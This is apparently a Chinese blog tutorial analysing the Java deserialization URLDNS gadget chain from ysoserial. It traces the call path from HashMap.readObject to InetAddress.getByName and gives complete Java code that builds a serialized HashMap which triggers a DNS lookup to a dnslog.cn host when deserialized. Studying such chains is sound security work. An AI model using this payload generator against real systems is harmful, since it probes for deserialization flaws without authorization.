java反序列化之URLDNS链分析

readObject()方法

Java反序列化会调用对应的readobject方法
比如我创建一个类test。序列化test类就会调用writeobject方法,
反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法
在HashMap类中,恰恰存在readobject方法

利用链:

ysoserial项目的利用链
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 其实可以细分一下:
 HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

分析:
首先找到HashMap的readObject()方法
在断点处 puVal方法调用hash()方法
在这里插入图片描述
跟进hash方法:
在这里插入图片描述
这里有个三元判断,当传入的参数(这里的key就是HashMap对象的键)不为空的时候,就会调用key下的hashCode()方法
跟进看一下
在这里插入图片描述
当反序列化的时候,调用了hashCode()方法,hashCode是一个Object方法,那么我们可以找一个重写了hashCode方法的类,然后实例化这个对象,放在HashMap的键里,序列化这个HashMap对象,当反序列化时,就会调用这个对象的hashcode

但是前提是这个类的hashCode方法可以实现我们想要的功能。例如java.net.URL类。

那么下面我们来分析一下java.net.URL类的hashCode方法。
可以看到,这里有一个IF判断,而hashCode属性默认是-1。这段代码的意思就是,当第一次调用hashCode方法的时候,hashCode为-1,不会进入if判断。否则就会进入if判断了,直接返回hashCode属性。
在这里插入图片描述
在这里插入图片描述

到了这里我们跟进一下handler.hashCode方法,传了this参进去,这个this其实就是HashMap的键,handler其实是一个UrLStreamHandler类对象
在这里插入图片描述
进入URLStreamHandler类的hashCode()方法
在这里插入图片描述

getProtocol获取协议,getHostAddress,获取域名对应的ip地址
进入getHostAddress()方法里,主要是getByName方法
在这里插入图片描述
重点在getByName方法。这个方法会发送请求解析域名为IP。通过这种方法最终实现了DNSlog
在这里插入图片描述
在这里插入图片描述
该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里我们的dnslog平台,就可以收到响应了。这就是这个URLDNS链的一个触发点
序列化代码

package com.company;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class UrlDns {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://g5w6xs.dnslog.cn");
        //获取URL类的hashCode属性
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        // 修改访问权限,必须使用setAccessible方法设置为True才能修改private属性
        f.setAccessible(true);
        // 设置hashCode值为123,这里可以是任何不为-1的数字。先这样设置是因为HashMap的put方法也会调用hash(key)方法,
        // 如果不这样的话,会在序列化的时候调用put方法然后调用hash(key),然后直接进行了dnslog。
        f.set(url,123);
        System.out.println(url.hashCode());
        //往HashMap中添加Key为URL对象
        map.put(url,"123");
        // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
        f.set(url,-1);

        try{
            // 序列化对象
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

反序列化代码

package com.company;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UrlDnsSer {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 反序列化对象
        FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);

        ois.readObject();
    }
}

参考:

https://www.cnblogs.com/nice0e3/p/13772184.html
https://guokeya.github.io/post/ZcF1VXwaH/
https://www.freebuf.com/articles/web/275842.html
https://blog.csdn.net/qq_41918771/article/details/115094758
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值